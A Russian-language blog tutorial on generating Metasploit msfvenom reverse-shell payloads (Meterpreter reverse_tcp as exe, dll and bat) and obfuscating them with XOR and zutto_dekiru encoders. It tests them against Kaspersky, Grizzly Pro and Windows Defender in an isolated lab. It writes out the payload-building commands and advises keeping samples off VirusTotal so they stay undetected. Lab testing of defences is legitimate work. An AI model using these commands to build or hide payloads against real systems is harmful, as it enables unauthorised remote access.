Введение

Приветствуем дорогих читателей! В сегодняшней статье ознакомимся с созданием полезных нагрузок при помощи msfvenom, использованием встроенных encoders(средства сокрытия нагрузки) и проверим их эффективность на трёх виртуальных машинах с разным антивирусным ПО.

Дисклеймер: Все данные, предоставленные в статье, взяты из открытых источников. Не призывают к действию и предоставлены только для ознакомления и изучения механизмов используемых технологий.

Полезные OSINT инструменты в телеграме (всегда рабочие ссылки)

Создание полезных нагрузок через msfvenom

MsfVenom — это инструмент, который является частью фреймворка Metasploit и используется для создания полезных нагрузок (payloads). Он объединяет функции двух старых инструментов: msfpayload и msfencode. MsfVenom позволяет генерировать различные виды вредоносных полезных нагрузок, которые могут быть использованы для эксплуатации уязвимостей в системах.

Основные возможности MsfVenom:

  1. Создание полезных нагрузок: MsfVenom поддерживает множество типов полезных нагрузок для различных платформ, включая Windows, Linux, macOS и мобильные операционные системы.

  2. Поддержка различных форматов: Полезные нагрузки могут быть экспортированы в различные форматы, такие как исполняемые файлы (EXE), скрипты (PHP, Python), динамические библиотеки (DLL) и многие другие.

  3. Шифрование и обфускация: MsfVenom предлагает опции для шифрования полезных нагрузок и их обфускации, что помогает избежать обнаружения антивирусами.

  4. Генерация однострочных скриптов: MsfVenom может создавать однострочные скрипты, которые легко вставить в другие программы или использовать в веб-эксплойтах.

Пример использования

Чтобы создать простую полезную нагрузку для Windows, можно использовать следующую команду:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f exe -o payload.exe

В этом примере:
- -p указывает тип полезной нагрузки (в данном случае Meterpreter с обратным TCP).
- LHOST и LPORT задают IP-адрес и порт для обратного соединения.
- -f указывает формат выходного файла (exe).
- -o задает имя выходного файла.

Встроенные encoders для сокрытия полезной нагрузки от антивирусов

В MsfVenom энкодеры используются для обфускации полезных нагрузок, чтобы сделать их менее заметными для антивирусного программного обеспечения и систем обнаружения вторжений. Энкодеры изменяют байтовый код полезной нагрузки, не меняя ее функциональности, что помогает избежать обнаружения. Давайте рассмотрим три энкодера:

1. x64/xor_context

Использует контекстное XOR-шифрование, изменяя ключ в зависимости от выполнения, что затрудняет обнаружение через статический анализ.. Пример команды для создания полезной нагрузки с использованием этого энкодера:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_context -o payload.exe

2. x64/xor_dynamic

Этот энкодер динамически генерирует ключ XOR во время выполнения, что делает его более устойчивым к анализу и обнаружению.. Пример команды:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_dynamic -o payload.exe

3. x64/zutto_dekiru

Энкодер zutto_dekiru применяет сложные методы обфускации, включая шифрование и изменение структуры кода, что усложняет анализ.. Пример команды:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe

Пояснения к командам

- -p: Определяет полезную нагрузку, в данном случае это windows/x64/meterpreter/reverse_tcp, которая создает обратное соединение с указанным хостом.
- LHOST: Указывает IP-адрес вашего устройства, на которое будет отправлено обратное соединение.
- LPORT: Указывает порт, на котором будет слушать ваше устройство.
- -e: Указывает энкодер, который вы хотите использовать.
- -o: Указывает имя выходного файла, в который будет записана закодированная полезная нагрузка.

Проверка антивирусами

VirusTotal

Результат очевиден, полезная нагрузка определилась сразу. Для проверки сигнатур нагрузок, делиться подобными онлайн-сканерами плохо, т.к потом они перестают работать и палятся, поэтому забываем про онлайн сервисы подобные VirusTotal.

Виртуальные машины

Для тестирования мы создали три виртуальные машины на ОС Windows 10 Pro и одну под управлением Kali Linux. Создали между всеми машинами одну виртуальную сеть без доступа к интернету(для того чтобы антивирусное ПО не делилось сигнатурами на анализ). В одну машину мы установили антивирус Kaspersky, в другую Grizzly Pro, а третью оставили со стандартным Windows Defender(на двух предыдущих запустили скрипт "no defender" чтобы полностью отключить защитник Windows для чистоты тестирования).

Внутренние IP машин следующие:

  • Kali Linux - 192.168.56.4

  • Kaspersky - 192.168.56.5

  • Grizzly Pro - 192.168.56.6

  • Windows Defender - 192.168.56.7

Сначала протестируем полезные нагрузки без энкодеров. Для примера возьмём нагрузки dll, exe(обычный шелл и meterpreter) и bat, поместим в архив и скинем на каждую машину.

Создание нагрузок и помещение в архив
Создание нагрузок и помещение в архив

Как только закинули архив в машину с касперским, он тут же удалил как файлы exe, dll, так и батник без шансов на запуск и восстановление.

Антивирус Kaspersky
Антивирус Kaspersky

Антивирус Grizzly Pro отлично среагировал на файлы exe и dll, но полностью проигнорировал батник, что привело к его запуску и получению удалённого доступа.

Антивирус заметил shell.exe
Антивирус заметил shell.exe

Защитник Windows отреагировал идентично Grizzly Pro.

Запретил доступ только exe файлу
Запретил доступ только exe файлу

Запускаем батники и получаем удалённый доступ.

Запуск bat на машине с Grizzly Pro и аналогично Windows Defender
Запуск bat на машине с Grizzly Pro и аналогично Windows Defender
Получена сессия тачки с Grizzly Pro
Получена сессия тачки с Grizzly Pro
Получена сессия тачки с Windows Defender
Получена сессия тачки с Windows Defender

Как видим, батники кодировать нет смысла, а вот файлы exe мы прогоним через три криптора про которые упомянули в теоретической части. Таким же образом мы помещаем все 3 шелла в архив и тестируем на всех машинах.

На машине с касперским ситуация идентичная прошлой, все три сигнатуры были моментально удалены.

Антивирус удалил все 3 сигнатуры
Антивирус удалил все 3 сигнатуры

С антивирусом Grizzly Pro ситуация идентичная.

Машина с Windows Defender опознала все сигнатуры.

Итоги

Для удобства и максимальной наглядности мы составили таблицу сравнения детекта сигнатур из тестов выше и добавили ещё статистику по двум популярным антивирусам (Avast, Dr.Web).

P.S.
Полезные OSINT инструменты в телеграме (всегда рабочие ссылки)

LHMedia в телеграме:

Комментарии (0)